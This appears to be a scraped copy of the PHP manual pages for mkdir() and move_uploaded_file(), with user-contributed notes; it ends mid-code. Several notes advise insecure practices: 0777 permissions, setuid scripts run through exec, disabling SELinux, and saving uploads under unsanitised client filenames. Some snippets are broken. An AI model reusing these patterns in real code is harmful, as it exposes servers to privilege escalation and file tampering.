Example #2 mkdir() using the recursive parameter

<?php
// Desired folder structure
$structure = './depth1/depth2/depth3/';

// To create the nested structure, the $recursive parameter
// to mkdir() must be specified.

if (!mkdir($structure, 0, true)) {
    die('Failed to create folders...');
}

// ...
?>

Notes

Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.

See Also

  • is_dir() - Tells whether the filename is a directory
  • rmdir() - Removes directory

User Contributed Notes

getaufan at gmail dot com 26-Jan-2012 07:18
Help me, I try make directory

mkdir("my-second-dir",0777,true); but doesn't work at my Linux Server.
I make directory "my-second-dir" in "my-first-dir"
And I have been tried chmod("my-first-dir",0777); before.

Solution???
Mick 28-Dec-2011 05:22
I was able to resolve this problem by ensuring the containing folder had write permission enabled (CHMOD 775) where I wanted to create a new folder.

As others have said, it's worth checking, then double checking, the permissions.
matt at imaketheweb dot com 03-Aug-2011 06:26
If you're getting a Permission Denied error, but are certain the permissions and ownership where you are trying to create the directory are correct, check again:

The location where you are trying to create the directory in must have the Execute permission for the owner trying to create it, regardless of if the folder is Readable, or Writable.

This may be obvious to some, but was not to me at first. Hopefully this will save you the trouble I went through.
pz 05-Jul-2011 09:41
mkdir works with stream wrappers, so it's ok to write mkdir('ftp://user:pass@server/mydir');

which really made my day
toppi at kacke dot de 07-Jun-2011 08:36
If you have problems with the SAFE MODE Restriction in effect i.e. if you try to create and access to subdirectorys recursive you can use ftp-lib like this.

<?php

DEFINE ('FTP_USER','yourUser');
DEFINE ('FTP_PASS','yourPassword');

/**
 * Returns the created directory or false.
 *
 * @param Directory to create (String)
 * @return Created directory or false;
 */

function mkDirFix ($path) {

        $path = explode("/",$path);
        $conn_id = @ftp_connect("localhost");
        if(!$conn_id) {
            return false;
        }
        if (@ftp_login($conn_id, FTP_USER, FTP_PASS)) {

            foreach ($path as $dir) {
                if(!$dir) {
                    continue;
                }
                $currPath.="/".trim($dir);
                if(!@ftp_chdir($conn_id,$currPath)) {
                    if(!@ftp_mkdir($conn_id,$currPath)) {
                        @ftp_close($conn_id);
                        return false;
                    }
                    @ftp_chmod($conn_id,0777,$currPath);
                }
            }
        }
        @ftp_close($conn_id);
        return $currPath;

}
?>

Maybe it helps.
Toppi
nickcarenza at gmail dot com 26-May-2011 01:41
If you are having trouble with the pathname, use:

echo dirname( __FILE__ );

That will show you the pathname of the current script and you will be able to use that to see where you have to start your pathname.

I tried forever to do mkdir('dirname') and was getting permission denied. I can see now its because it was trying to create that folder up at home when i wanted it down in public_html.

I hope this saves someone some time.
[Rakesh Verma] rakeshnsony at gmail dot com 02-May-2011 11:02
if you are unable to create recursive folder(s) using 0755 mode in your php script.

Then try it by changing your current user to apache and test it again.

Hopefully you will get positive results
julius - grantzau - c-o-m 08-Mar-2011 08:10
Remember to use clearstatcache()

... when working with filesystem functions.

Otherwise, as an example, you can get an error creating a folder (using mkdir) just after deleting it (using rmdir).
Benjamin Rack 02-Dec-2010 04:18
It should be mentioned that - at least on Windows - when using UNC paths with mkdir the 2nd parameter $mode should not be specified. Otherwise mkdir fails to create the directory on the given UNC path.
Anonymous 25-Sep-2010 07:18
The mode on your directory is affected by your current umask.  It will end
up having (<mkdir-mode> and (not <umask>)).  If you want to create one
that is publicly readable, do something like this:

<?php
$oldumask = umask(0);
mkdir('mydir', 0777); // or even 01777 so you get the sticky bit set
umask($oldumask);
?>

____________
http://kuritelnye-smesi.od.ua
satis at clankiller dot com 08-Sep-2010 06:05
Please note that in a shared environment I failed to take into account an existing umask when I did a mkdir(dirname, 0755).  This ended up creating the directory (function returned true), but I didn't have rights to do anything inside the folder, nor could I even view that it existed via ftp.

However, file_exists(dirname) returned true.  Eventually I figured out what happened and was able to rmdir(dirname), then created the directory correctly.

So, when writing scripts you expect to be portable, either use umask to set your umask accordingly, or do a straight mkdir(dirname) followed by chmod(dirname, 0755) (or whatever it is you're looking for).  If you make the same mistake I did, you should be able to rmdir() or chmod() the folder so it's accessible.
vishal at e-arth dot in 27-Aug-2010 12:59
I used the following syntax to create directory

mkdir('mydir', 0777);

directory get created but it's permissions not set to 777, that is why I am not able to upload the images in this folder.
my server is linux
any solutions??
jack dot sleight at gmail dot com 26-Mar-2010 03:26
When using the recursive parameter bear in mind that if you're using chmod() after mkdir() to set the mode without it being modified by the value of uchar() you need to call chmod() on all created directories. ie:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1/test2', 0777);
?>

May result in "/test1/test2" having a mode of 0777 but "/test1" still having a mode of 0755 from the mkdir() call. You'd need to do:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1', 0777);
chmod('/test1/test2', 0777);
?>
michael at neo dot co dot il 27-Jan-2010 07:39
sometimes the directory created with another mode than specified ( 0755 instead 0777  etc).
to solve that use :

<?php
$old = umask(0);
mkdir($dir,0777);
umask($old);
?>
Brian S 11-Aug-2009 08:51
The example from "hinom - iMasters" below is broken -- here's a version that works:

<?php

function handleError() {
    trigger_error('MY ERROR');

    /** usage sample
        @handleError();
        echo $php_errormsg;
    */
}

// detect slash/backslash nomenclature dirname
$path = dirname( __FILE__ );
$slash = '/';

(stristr( $path, $slash )) ? '' : $slash = '\\';
define( 'BASE_DIR', $path . $slash );

$folder  = time();               // folder name
$dirPath = BASE_DIR . $folder;   // folder path

// print results
echo $slash;
echo '<hr>';

$rs = @mkdir( $dirPath, 0777 );
@handleError();
if( $rs )
{

    // print success information
    echo 'was done!';
    echo '<br>folder: <a href="' . $folder . '">' . $folder . '</a>';
    echo '<br>dirPath: ' . $dirPath;

}else{

    // print error information
    echo 'an error was occurred. Attempting create folder';
    echo '<br>dirPath: ' . $dirPath;
    echo '<br>php_errormsg: ' . $php_errormsg;

}

?>

[EDIT by thiago AT php DOT net: This function has a fix from imran@curl.phptrack.com]
ethaizone at hotmail dot com 03-Aug-2009 01:10
When I created folder on windows with mkdir, I found some problem from folder nam so I write this function.

<?php
function filename_safe($name) {
    $except = array('\\', '/', ':', '*', '?', '"', '<', '>', '|');
    return str_replace($except, '', $name);
}
?>

It can use with another functions about file system as file_put_contents to clean up file name.
vlad at todosv dot com 05-Mar-2009 08:59
Note that you should NOT enter the $mode value with "" or '' sorrounding it.

So, this should be valid:
<?php mkdir("dir1/dir2",0777,true); ?>

But this is not:
<?php mkdir("dir1/dir2","0777",true); ?>

Nor this:
<?php mkdir("dir1/dir2",'0777',true); ?>
d dot kok at kadova dot nl 20-Feb-2009 12:02
Please note that when specifying the recursive option the function returns false anyway if the directory already exists.

For some reason however I expected it to behave like `mkdir -p` on the command line which succeeds if the directory already exists.
t-k-r at o2 dot pl 17-Dec-2008 01:42
Very simple script, may be useful to someone.
Creating a directory structure liki this:

0 ------ 0
1          1
2          2 -------- 0
3          3             1
4          ...           2
5                        3
6                        ...
7
[....]
e
f

Used by my as structure to store uploaded files:
someone upload file -> its name + microtime is md5 -> first 3 letters of md5 string are first 3 subfolders in this folder structure, and at least file is stroed with md5 name.
Naturally SQL- or other type - Database is needed to store infos about files position in this structure.

<?php

for ($a=0;$a<=15;$a++) {

    mkdir(dechex($a),0755);

    for ($b=0;$b<=15;$b++) {

        mkdir(dechex($a).'/'.dechex($b),0755);

        for ($c=0;$c<=15;$c++) {

            mkdir(dechex($a).'/'.dechex($b).'/'.dechex($c),0755);

        }

    }

}

?>
hinom - iMasters 18-Sep-2008 10:56
mkdir simple test with "exception handler"

<?php

function handleError() {
    trigger_error('MY ERROR');

    /** usage sample
        @handleError();
        echo $php_errormsg;
    */
}

// detect slash/backslash nomenclature dirname
$path = dirname( __FILE__ );
$slash = '/'; strpos( $path, $slash ) ? '' : $slash = '\\';
define( 'BASE_DIR', $path . $slash );

$folder  = time();               // folder name
$dirPath = BASE_DIR . $folder;   // folder path

// print results
echo $slash;
echo '<hr>';

$rs = @mkdir( $dirPath, '0777' );
@handleError();
if( $rs )
{

    // print success information
    echo 'was done!';
    echo '<br>folder: <a href="' . $folder . '">' . $folder . '</a>';
    echo '<br>dirPath: ' . $dirPath;

}else{

    // print error information
    echo 'an error was occurred. Attempting create folder';
    echo '<br>dirPath: ' . $dirPath;
    echo '<br>php_errormsg: ' . $php_errormsg;

}

?>
php at mike2k dot com 15-Jul-2008 01:32
It should be noted that all of the recursive mkdir functions coded below are no longer required - as of 5.0.0 it says the "recursive" flag is available. I just tested it, it properly works (and I would assume it works for streams and Windows as well, if not, then it would be a bug)
GelaMu at GMail dot com 17-May-2008 05:19
<?php

/**
 * Makes directory and returns BOOL(TRUE) if exists OR made.
 *
 * @param  $path Path name
 * @return bool
 */
function rmkdir($path, $mode = 0755) {
    $path = rtrim(preg_replace(array("/\\\\/", "/\/{2,}/"), "/", $path), "/");
    $e = explode("/", ltrim($path, "/"));
    if(substr($path, 0, 1) == "/") {
        $e[0] = "/".$e[0];
    }
    $c = count($e);
    $cp = $e[0];
    for($i = 1; $i < $c; $i++) {
        if(!is_dir($cp) && !@mkdir($cp, $mode)) {
            return false;
        }
        $cp .= "/".$e[$i];
    }
    return @mkdir($path, $mode);
}

?>
php at msn dot net 08-Mar-2008 10:05
<?php

/**
 * Makes directory, returns TRUE if exists or made
 *
 * @param string $pathname The directory path.
 * @return boolean returns TRUE if exists or made or FALSE on failure.
 */

function mkdir_recursive($pathname, $mode)
{
    is_dir(dirname($pathname)) || mkdir_recursive(dirname($pathname), $mode);
    return is_dir($pathname) || @mkdir($pathname, $mode);
}

?>
code at ashleyhunt dot co dot uk 14-Feb-2008 11:15
Here's a script to create a recursive directory path on NAS or another server using Common Internet File System (CIFS)

e.g. you already have a directory on a server
\\server/share/dir1/dir2

you want to create some more directories
\\server/share/dir1/dir2/dir3/dir4

<?php
function remote_mkpath($server, $path)  {
        $dirs = array();
        $path = preg_replace('/(\/){2,}|(\\\){1,}/','/',$path); //only forward-slash
        $dirs = explode("/", $path);
        $path = "\\\\" . $server . "/";
        $i = 0;
        foreach ($dirs AS $element) {
            $path .= $element . "/";
            if(!is_dir($path) && $i != 0) {
                if(!mkdir($path)){
                    echo "something was wrong at : " . $path;
                    return 0;
                }
            }
            $i++;
        }
        return true;
        echo $path;
}

// example usage
remote_mkpath("SERVER", "share/dir1/dir2/dir3/dir4");
?>

Good luck!

Ashley
david dot NOSPAM at ajnewmedia dot NOSPAM dot co dot uk 21-Jan-2008 09:04
p-garcia : since PHP 5, setting the recursive flag (which currently has no notes in the manual entry) will allow you to create nested directories in the same way as Windows / Linux mkdir -p, so long as the webserver has permissions to write in the root directory of the path specified
eg:

<?php
  mkdir ("./newdir1/newdir2/newdir3/", 0755, true);

  // Returns TRUE if you have permission to write to the current directory
  //   and creates nested directories with permissionsrwxr-xr-x
?>
p-garcia at uniandes dot edu dot co 21-Jan-2008 05:45
After a long time trying to catch the cause of the warning: "mkdir() [function.mkdir]: No such file or directory", I finally realized that this function is not recursive; I mean, that if you want to create the folder -for example- c:\temp\t1\t2, you must do:
mkdir("c:\\temp\\t1") ;
mkdir("c:\\temp\\t1\\t2") ;

because mkdir is not like the windows mkdir where you can acomplish this in one single step.
Michal Nazarewicz, mina86 at mina86 dot com 27-Aug-2007 07:34
On the other hand, splitting path on something else then a DIRECTORY_SEPARATOR may give unexpected results when someone accualy wants a file name with backslash in it! Moreover, neither Alan's nor pluto's code check for errors or return any value. Also, I don't like the isset($folder[$i]) technique -- there is a count() function you know.

<?php
function recursive_mkdir($path, $mode = 0777) {
    $dirs = explode(DIRECTORY_SEPARATOR , $path);
    $count = count($dirs);
    $path = '.';
    for ($i = 0; $i < $count; ++$i) {
        $path .= DIRECTORY_SEPARATOR . $dirs[$i];
        if (!is_dir($path) && !mkdir($path, $mode)) {
            return false;
        }
    }
    return true;
}
?>

It will only fail if someone specifies a mode which does not allow owner to create new entries in directory.
kendsnyder at gmail dot com 04-May-2007 08:17
When creating directories in Windows, trailing periods (".") are ignored.  for example:

<?php

mkdir('c:/Buck Jr.',0755);    // on Windows creates "c:/Buck Jr"
mkdir('c:/Elipses...',0755);  // on Windows creates "c:/Elipses"
mkdir('c:/php.com',0755);     // on Windows creates "c:/php.com"

?>

This is a Window's quirk, not a php shortcoming--meaning that you get the same results from a Window's command prompt.
glenn at bengeweb dot co dot nz 12-Mar-2007 09:00
I've discovered that since my (shared) hosting provider upgraded to PHP 5.1.6 , a script containing this mkdir doesn't work:

<?php
mkdir('/home/benge/photos/gallery1/extra_large/', 0777);
?>

but this does work:
<?php
mkdir('/home/benge/photos/gallery1/extra_large', 0777);
?>

the difference being, the trailing slash "/" after "extra_large.

There were three ways to fix the problem:
1. remove the trailing slash from the script code
2. downgrade to < PHP 5.1.6
3. turn safe mode off

I went with option 1.
sean at pedlr dot com 08-Mar-2007 08:58
It should be noted that although the documentation says that  the default permissions for mkdir are 0777, this is not always the case.

I'm running LAMP and without explicitly setting the permissions, the directories created had permissions of 0755.
Ari Schulman (ario [] mail utexas edu) 08-Jan-2007 03:02
Re: john 4t idserver d0t org, and djneoform at gmail dot com's posts from 27 Oct 2006:

On Windows systems, several keywords are reserved and cannot be used as filenames, in addition to just CON and PRN.  Attempting to create a folder with one of these names using mkdir will throw the unhelpful error "Invalid argument".  According to http://msdn.microsoft.com/library/default.asp ?url=/library/en-us/fileio/fs/naming_a_file.asp :

"Do not use the following reserved device names for the name of a file: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names followed by an extension, for example, NUL.tx7.

    Windows NT:  CLOCK$ is also a reserved device name."

These keywords are also case-insensitive.  I don't know what problems are posed by using these keywords with extensions, but I successfully created a folder named "con_f".
fantasysportswire at yahoo dot com 20-Dec-2006 06:07
One small correction on a note from Frank in June 2006 on recursive directories under Windows.

First - this should be in the documentation as its the only function that I know of that php does not fix the slashes automatically.

Franks note stated:

<?php
   $mypath="testdir\subdir\test";
   mkdir($mypath,0777,TRUE);
?>

This doesn't work in windows:

<?php
   $mypath="testdir/subdir/test";
   mkdir($mypath,0777,TRUE);
?>

----

This will work a bit better :)

<?php
   $mypath="testdir\\subdir\\test";
   mkdir($mypath,0777,TRUE);
?>
PHGN 13-Aug-2006 11:13
I've been wrestling with mkdir on a server with safe mode turned on (I think, I kept getting barmy permissions on the new dirs).

In the end the solution was to use:
exec (mkdir ...
exec (chmod ...

For this to work I had to use the setuid bit on the script itself. I tried this with the mkdir() function, but to no avail. (To do the setuid bit I ran chmod 4775 on the script file from the command line.)
kungla at gmail dot com 18-Jul-2006 05:41
Somehow the recursive version of mkdir didn't work for me on Mac and the workaraounds listed below alsow didn't work for me, so heres my solution:

<?php
function mkdir_r($dirName, $rights=0777){
    $dirs = explode('/', $dirName);
    $dir='';
    foreach ($dirs as $part) {
        $dir.=$part.'/';
        if (!is_dir($dir) && strlen($dir)>0)
            mkdir($dir, $rights);
    }
}
?>

Tested and works ;)
jamespilcher1hotmail 08-Apr-2006 05:53
one small gotcha:

mkdir(""), mkdir(false), and mkdir(null) give a "file exists" error. this is also true of a directory name consisting of any string that only contains space characters.

(this was on php 5.1.2 on Windows 2000)
bat at flurf dot net 21-Mar-2006 09:23
A little understanding of LISPlike programming makes this sort of task (recursive mkdir()ing in PHP4) much simpler.  This version works nicely:

<?php
function MakeDirectory($dir, $mode = 0755)
{
  if (is_dir($dir) || @mkdir($dir,$mode)) return TRUE;
  if (!MakeDirectory(dirname($dir),$mode)) return FALSE;
  return @mkdir($dir,$mode);
}
?>

How it works: line one attempts to make the directory, and returns TRUE if it works or if it already exists.  That's the easy case if the parent directories all exist.

Line two trims off the last directory name using dirname(), and calls MakeDirectory recursively on that shorter directory.  If that fails, it returns FALSE, but otherwise we come out of it knowing that the parent directory definitely exists.

Finally, presuming the recursive call worked, once we get to line three we can create the requested directory.

Note the use of @ to suppress warning messages from mkdir.

The beauty of this is that if, say, the great-grandparent directory exists but the grandparent and parent directories don't, the function will simply call itself recursively until it gets high enough up the tree to do some work, then carry on unwinding back until all the new directories have been created.

This is pretty bog-standard recursive programming.  Anyone who can't wrap their head around it after a few minutes of concentration should probably try a career in sales.
Ali Baba 10-Mar-2006 01:26
Greg, your code does not work for me; maybe it has a bug or we have configuration changes. Anyway, this one works to create recursively the directory DIRECTORY.

<?
define ("DIRECTORY", "/tmp/mydir/mysubdir");

do {
    $dir = DIRECTORY;
    while (!is_dir($dir)) {
        $basedir = dirname($dir);
        if ($basedir == '/' || is_dir($basedir))
            mkdir($dir,0777);
        else
            $dir=$basedir;
   }
} while ($dir != DIRECTORY);

?>
18-Jan-2006 09:48
function mkdirs($dir, $mode = 0777, $recursive = true) {
  if( is_null($dir) || $dir === "" ){
    return FALSE;
  }
  if( is_dir($dir) || $dir === "/" ){
    return TRUE;
  }
  if( mkdirs(dirname($dir), $mode, $recursive) ){
    return mkdir($dir, $mode);
  }
  return FALSE;
}
Sean at seanj dot jcink dot com 23-Dec-2005 06:10
Mkdir will work on parent directories as long as file permissions are right and the openbase restriction is not on.

~Sean
Kevin Cook 02-Nov-2005 09:14
I could not get the sticky bit set properly using the octal mode: 2775 (rwxrwsr-x)

$foo='my_directory';

$old_umask = umask(0);
mkdir($foo,2775);
umask($old_umask);

using the above lines renders a directory with permissions:

d-wx-wSrwt  2 www www 4096 Nov  2 11:43 my_directory

Not exactly what I was looking for.

This gets closer to the mark:

$foo='my_directory';

$old_umask = umask(0);
mkdir($foo,0777); // the default chmod
umask($old_umask);

drwxrwsrwx  2 www www 4096 Nov  2 11:46 my_directory
ephraim at coder-board dot info 10-Oct-2005 11:38
When safe_mode is enabled, and you create a directory via mkdir, you can't create a second inside the first because the first folder's user is that one of the webserver and not that one of the script. This is dumb and very annoying :(
funke 16-Sep-2005 12:51
Ive onlybeen coding in PHP for a couple of months so i Don't have all the syntax tricks down yet.

I wrote this function to create all the dirs in a path if they don't exist. its not actually recursive but i was to lazy to change the name  :)
theoretically i want it to work for both win and nix. As soon my project manager gets me a win box i'm gonna test it out.  anyrevisions to the function below would be appreciated.

<?php
// \

function recur_mkdirs($path, $mode = 0777) //creates directory tree recursively
{
    //$GLOBALS["dirseparator"]
    $dirs = explode($GLOBALS["dirseparator"],$path);
    $pos = strrpos($path, ".");
    if ($pos === false) { // note: three equal signs
       // not found, means path ends in a dir not file
        $subamount=0;
    }
    else {
        $subamount=1;
    }

    for ($c=0;$c < count($dirs) - $subamount; $c++) {
        $thispath="";
        for ($cc=0; $cc <= $c; $cc++) {
            $thispath.=$dirs[$cc].$GLOBALS["dirseparator"];
        }
        if (!file_exists($thispath)) {
            //print "$thispath<br>";
            mkdir($thispath,$mode);
        }

    }

}
?>
roth at egotec dot com 22-May-2005 11:43
The 'mkdir' function doesn't function correctly on Windows when the path
contains forward slashes. The part of the path with the forward slashes
doesn't get created.

mkdir('c:/a/b/c/d', 0775, true);

You get the error message:
Warning: mkdir() [function.mkdir]: No such file or directory

Please use backslashes under Windows or use the constant DIRECTORY_SEPARATOR.

mkdir('c:\a\b\c\d', 0775, true);
mkdir('c:'.DIRECTORY_SEPARATOR.'a'.
DIRECTORY_SEPARATOR.'b'.
DIRECTORY_SEPARATOR.'c'.
DIRECTORY_SEPARATOR.'d', 0775, true);
webmaster2007 at home dot nl 28-Apr-2005 08:27
Maybe you can use this:

<?php
    function open_dir($dir, $newdir){    //The function that will copy the files
        if(file_exists($dir) && file_exists($newdir)){
            $open_dir=opendir($dir);
            while (false !== ($file = readdir($open_dir))) {
                if($file != "." && $file != ".."){
                    if(file_exists($newdir."/".$file) && filetype($newdir."/".$file."/") != "dir"){
                        unlink($newdir."/".$file);
                    }
                    if(filetype($dir."/".$file."/") == "dir"){
                        if(!file_exists($newdir."/".$file."/")){
                            mkdir($newdir."/".$file."/");
                            open_dir($dir."/".$file."/", $newdir."/".$file."/");
                        }
                    }
                    else {
                        copy($dir."/".$file."/", $newdir."/".$file);
                    }
                }
            }
        }
    }

    open_dir("Your source map", "Your destination map"); //Here you can fill in your source en destination map
?>
Protik Mukherjee 03-Mar-2005 09:29
mkdir, file rw, permission related notes for Fedora 3////
If you are using Fedora 3 and are facing permission problems, better check if SElinux is enabled on ur system. It add an additional layer of security and as a result PHP cant write to the folder eventhough it has 777 permissions. It took me almost a week to deal with this!

If you are not sure google for SElinux or 'disabling SELinux' and it may be the cure! Best of luck!
28-Jun-2003 04:00
You might notice that when you create a new directory using this code:

mkdir($dir, 0777);

The created folder actually has permissions of 0755, instead of the specified
0777. Why is this you ask? Because of umask(): http://www.php.net/umask

The default value of umask, at least on my setup, is 18. Which is 22 octal, or
0022. This means that when you use mkdir() to CHMOD the created folder to 0777,
PHP takes 0777 and substracts the current value of umask, in our case 0022, so
the result is 0755 - which is not what you wanted, probably.

The "fix" for this is simple, include this line:

$old_umask = umask(0);

Right before creating a folder with mkdir() to have the actual value you put be
used as the CHMOD. If you would like to return umask to its original value when
you're done, use this:

umask($old_umask);
aulbach at unter dot franken dot de 22-Jul-1999 02:37
This is an annotation from Stig Bakken:

The mode on your directory is affected by your current umask.  It will end
up having (<mkdir-mode> and (not <umask>)).  If you want to create one
that is publicly readable, do something like this:

<?php
$oldumask = umask(0);
mkdir('mydir', 0777); // or even 01777 so you get the sticky bit set
umask($oldumask);
?>
lstat
move_uploaded_file
Filesystem Functions


Moves an uploaded file to a new location

mkdir
parse_ini_file
Filesystem Functions
PHP Manual

move_uploaded_file

(PHP 4 >= 4.0.3, PHP 5)

move_uploaded_file — Moves an uploaded file to a new location

Description

bool move_uploaded_file ( string $filename , string $destination )

This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.

This sort of check is especially important if there is any chance that anything done with uploaded files could reveal their contents to the user, or even to other users on the same system.

Parameters

filename

The filename of the uploaded file.

destination

The destination of the moved file.

Return Values

Returns TRUE on success.

If filename is not a valid upload file, then no action will occur, and move_uploaded_file() will return FALSE.

If filename is a valid upload file, but cannot be moved for some reason, no action will occur, and move_uploaded_file() will return FALSE. Additionally, a warning will be issued.

Examples

Example #1 Uploading multiple files

<?php
$uploads_dir = '/uploads';
foreach ($_FILES["pictures"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
        $name = $_FILES["pictures"]["name"][$key];
        move_uploaded_file($tmp_name, "$uploads_dir/$name");
    }
}
?>

Notes

Note:

move_uploaded_file() is both safe mode and open_basedir aware. However, restrictions are placed only on the destination path as to allow the moving of uploaded files in which filename may conflict with such restrictions. move_uploaded_file() ensures the safety of this operation by allowing only those files uploaded through PHP to be moved.

Warning

If the destination file already exists, it will be overwritten.

See Also

  • is_uploaded_file() - Tells whether the file was uploaded via HTTP POST
  • rename() - Renames a file or directory
  • See Handling file uploads for a simple usage example

User Contributed Notes

matthias dot dailey at gmail dot com 22-Jul-2011 01:26
The destination directory must exist; move_uploaded_file() will not automatically create it for you.
labsy at seznam dot org 03-May-2011 04:07
A note for PHP on Windows IIS platform:
PHP does obviously not like directory traversing among partitions, so if you set upload_tmp_dir to be on different partition as php-cgi.exe or php.exe is, upload_tmp_dir will NOT be accessible for file uploads! You will get ERROR 6 on any attempt to upload file, and file size will be 0.
Resolution is to have upload_tmp_dir set to a path under PHP install folder.
...and make sure this folder (and also session_save_path folder) has at least read/write permissions granted to AppPool owner (usually NETWORK SERVICE) and IIS web user (by default IUSR_).
wilcobeekhuizen at gmail dot com 30-Mar-2011 12:55
When uploading a file with a very long filename, for example 255 characters, move_uploaded_file fails. The longest file I've succesfully uploaded has a 247 character filename. So, although you can create a 250 character filename locally the server may not be able to move it.
alex at alx dot bz 17-Mar-2011 11:03
I've run into this problem of move_uploaded_file not functioning several times, and always troubleshoot for a good 30 minutes until I find the SAME problem (because I never learn).

Always specify the proper enctype in the HTML form:

enctype='multipart/form-data'

I'm running Apache, on Linux, so take that into consideration, but I always assume (wrongly) that it is a permissions issue first.
jsimon at redventures dot com 01-Jan-2011 09:41
Because of the way in which move_uploaded_file works, it can be difficult to debug without the proper error settings. If you are noticing that move_uploaded_file is not doing what you're expecting, and you are only getting a return value of false, try setting the error reporting at the top of your script.

error_reporting(E_ALL);
ini_set("display_errors", 1);

This will ensure you are receiving any notices or warnings that you were missing before.
Ray.Paseur sometimes uses Gmail 18-Aug-2010 08:42
You can only move the uploaded file once.  You can use copy() if you need the file in more than one place.
<?php // RAY_temp_upload_example.php
error_reporting(E_ALL);
echo "<pre>" . PHP_EOL;

// IF A FILE HAS BEEN UPLOADED
if (!empty($_FILES))
{
    // SHOW THE UPLOADED FILES
    print_r($_FILES);

    // TRY TO MOVE THE FILE TWICE - SECOND MOVE RETURNS FALSE
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;

    // SHOW THE UPLOADED FILES AFTER THE MOVE - NO VISIBLE CHANGE
    print_r($_FILES);
}

// END OF PHP, PUT UP THE HTML FORM TO GET THE FILE
?>
<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="300000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>
brentwientjes at NOSPAM dot comcast dot net 15-Feb-2010 11:34
I have for a couple of years been stymed to understand how to effectively load images (of more than 2MB) and then create thumbnails.  My note below on general file uploading was an early hint of some of the system default limitations and I have recently discovered the final limit  I offer this as an example of the various missing pieces of information to successfully load images of more than 2MB and then create thumbnails.  This particular example assumes a picture of a user is being uploaded and because of browser caching needs a unique number at the end to make the browser load a new picture for review at the time of upload.  The overall calling program I am using is a Flex based application which calls this php file to upload user thumbnails.

The secret sauce is:

1.  adjust server memory size, file upload size, and post size
2.  convert image to standard formate (in this case jpg) and scale

The server may be adjusted with the .htaccess file or inline code.  This example has an .htaccess file with file upload size and post size and then inline code for dynamic system memory.

htaccess file:
php_value post_max_size 16M
php_value upload_max_filesize 6M

<?php
//  $img_base = base directory structure for thumbnail images
//  $w_dst = maximum width of thumbnail
//  $h_dst = maximum height of thumbnail
//  $n_img = new thumbnail name
//  $o_img = old thumbnail name
function convertPic($img_base, $w_dst, $h_dst, $n_img, $o_img)
  {ini_set('memory_limit', '100M');   //  handle large images
   unlink($img_base.$n_img);         //  remove old images if present
   unlink($img_base.$o_img);
   $new_img = $img_base.$n_img;

   $file_src = $img_base."img.jpg";  //  temporary safe image storage
   unlink($file_src);
   move_uploaded_file($_FILES['Filedata']['tmp_name'], $file_src);

   list($w_src, $h_src, $type) = getimagesize($file_src);     // create new dimensions, keeping aspect ratio
   $ratio = $w_src/$h_src;
   if ($w_dst/$h_dst > $ratio) {$w_dst = floor($h_dst*$ratio);} else {$h_dst = floor($w_dst/$ratio);}

   switch ($type)
     {case 1:   //   gif -> jpg
        $img_src = imagecreatefromgif($file_src);
        break;
      case 2:   //   jpeg -> jpg
        $img_src = imagecreatefromjpeg($file_src);
        break;
      case 3:  //   png -> jpg
        $img_src = imagecreatefrompng($file_src);
        break;
     }
   $img_dst = imagecreatetruecolor($w_dst, $h_dst);  //  resample

   imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $w_dst, $h_dst, $w_src, $h_src);
   imagejpeg($img_dst, $new_img);    //  save new image

   unlink($file_src);  //  clean up image storage
   imagedestroy($img_src);
   imagedestroy($img_dst);
  }

$p_id = (Integer) $_POST[uid];
$ver = (Integer) $_POST[ver];
$delver = (Integer) $_POST[delver];
convertPic("your/file/structure/", 150, 150, "u".$p_id."v".$ver.".jpg", "u".$p_id."v".$delver.".jpg");

?>
wyverald at gmail dot com 12-Dec-2009 09:27
Another note concerning the following 2 warnings:

-
Warning: move_uploaded_file(/dest/inat/ion.ext) [function.move-uploaded-file]: failed to open stream: No such file or directory in /upload/handler.php on line X

Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/temp/file/name' to '/dest/inat/ion.ext' in /upload/handler.php on line X
-

You would think that something is wrong about '/temp/file/name'... while actually, the real cause could be that the directory '/dest/inat' does not exist. Create this directory and the problem will likely get fixed.

Hope this helps.
gotrunko at hotmail dot com 13-Nov-2009 04:50
This function can upload many files whitout parameters in the declaration.
If one of them can not be uploaded, the function returns false and deletes all files that have been sent

<?php
function uploadFiles() {
    $num_args = func_num_args();
    $arg_list = func_get_args();

    $valReturn = false;
    $i = 0;
    $unlinkElement = array();
    foreach($arg_list as $key=>$value) {
        if(is_array($value) AND is_array($value[0])) {
            if($value[0]['error'] == 0 AND isset($value[1])) {
                if($value[0]['size'] > 0 AND $value[0]['size'] < 500000) {
                    $typeAccepted = array("image/jpeg", "image/gif", "image/png");
                    if(in_array($value[0]['type'],$typeAccepted)) {
                        $destination = $value[1];
                        if(isset($value[2])) {
                            $extension = substr($value[0]['name'] , strrpos($value[0]['name'] , '.') +1);
                            $destination .= (str_replace(" ","-",$value[2])).".".$extension;
                        } else {
                            $destination .= $value[0]['name'];
                        }

                        if(move_uploaded_file($value[0]['tmp_name'],$destination)) {
                            $i++;
                            $unlinkElement[] = $destination;
                        }
                    }
                }
            }
        }
    }
    if($i == $num_args) {
        $valReturn = true;
    } else {
        foreach($unlinkElement as $value) {
            unlink($value);
        }
    }
    return $valReturn;
}
?>

To use this function you must specify an array with min two parameters like that.
NAME is an optional parameter !
uploadFiles(array("FILES","DESTINATION","NAME"));

<?php

$file_one = array($_FILES['file_one'],$destination,$name_one);
